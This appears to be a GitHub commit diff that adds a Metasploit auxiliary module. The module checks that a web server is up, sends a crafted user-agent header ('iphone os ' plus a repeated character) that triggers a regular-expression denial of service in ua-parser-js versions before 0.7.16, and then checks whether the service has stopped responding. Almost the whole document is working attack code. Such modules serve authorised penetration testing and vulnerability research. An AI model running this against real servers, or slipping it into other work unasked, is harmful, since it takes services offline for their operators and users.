|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Exploit::Remote::HttpClient |
| 8 | + include Msf::Auxiliary::Dos |
| 9 | + |
| 10 | + def initialize |
| 11 | + super( |
| 12 | + 'Name' => 'ua-parser-js npm module ReDoS', |
| 13 | + 'Description' => %q{ |
| 14 | + This module exploits a Regular Expression Denial of Service vulnerability |
| 15 | + in the npm module "ua-parser-js". Server-side applications that use |
| 16 | + "ua-parser-js" for parsing the browser user-agent string will be vulnerable |
| 17 | + if they call the "getOS" or "getResult" functions. This vulnerability was |
| 18 | + fixed as of version 0.7.16. |
| 19 | + }, |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + ['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'], |
| 23 | + ['CWE', '400'], |
| 24 | + ], |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Ryan Knell, Sonatype Security Research', |
| 28 | + 'Nick Starke, Sonatype Security Research', |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE |
| 31 | + ) |
| 32 | + |
| 33 | + register_options([ |
| 34 | + Opt::RPORT(80) |
| 35 | + ]) |
| 36 | + end |
| 37 | + |
| 38 | + def run |
| 39 | + unless test_service |
| 40 | + fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.") |
| 41 | + else |
| 42 | + trigger_redos |
| 43 | + test_service_unresponsive |
| 44 | + end |
| 45 | + end |
| 46 | + |
| 47 | + def trigger_redos |
| 48 | + begin |
| 49 | + print_status("Sending ReDoS request to #{peer}.") |
| 50 | + |
| 51 | + res = send_request_cgi({ |
| 52 | + 'uri' => '/', |
| 53 | + 'method' => 'GET', |
| 54 | + 'headers' => { |
| 55 | + 'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64) |
| 56 | + } |
| 57 | + }) |
| 58 | + |
| 59 | + if res.nil? |
| 60 | + print_status("No response received from #{peer}, service is most likely unresponsive.") |
| 61 | + else |
| 62 | + fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.") |
| 63 | + end |
| 64 | + |
| 65 | + rescue ::Rex::ConnectionRefused |
| 66 | + print_error("Unable to connect to #{peer}.") |
| 67 | + rescue ::Timeout::Error |
| 68 | + print_status("No HTTP response received from #{peer}, this indicates the payload was successful.") |
| 69 | + end |
| 70 | + end |
| 71 | + |
| 72 | + def test_service_unresponsive |
| 73 | + begin |
| 74 | + print_status('Testing for service unresponsiveness.') |
| 75 | + |
| 76 | + res = send_request_cgi({ |
| 77 | + 'uri' => '/' + Rex::Text.rand_text_alpha(8), |
| 78 | + 'method' => 'GET' |
| 79 | + }) |
| 80 | + |
| 81 | + if res.nil? |
| 82 | + print_good('Service not responding.') |
| 83 | + else |
| 84 | + print_error('Service responded with a valid HTTP Response; ReDoS attack failed.') |
| 85 | + end |
| 86 | + rescue ::Rex::ConnectionRefused |
| 87 | + print_error('An unknown error occurred.') |
| 88 | + rescue ::Timeout::Error |
| 89 | + print_good('HTTP request timed out, most likely the ReDoS attack was successful.') |
| 90 | + end |
| 91 | + end |
| 92 | + |
| 93 | + def test_service |
| 94 | + begin |
| 95 | + print_status('Testing Service to make sure it is working.') |
| 96 | + |
| 97 | + res = send_request_cgi({ |
| 98 | + 'uri' => '/' + Rex::Text.rand_text_alpha(8), |
| 99 | + 'method' => 'GET' |
| 100 | + }) |
| 101 | + |
| 102 | + if !res.nil? && (res.code == 200 || res.code == 404) |
| 103 | + print_status('Test request successful, attempting to send payload') |
| 104 | + return true |
| 105 | + else |
| 106 | + return false |
| 107 | + end |
| 108 | + rescue ::Rex::ConnectionRefused |
| 109 | + print_error("Unable to connect to #{peer}.") |
| 110 | + return false |
| 111 | + end |
| 112 | + end |
| 113 | +end |
0 commit comments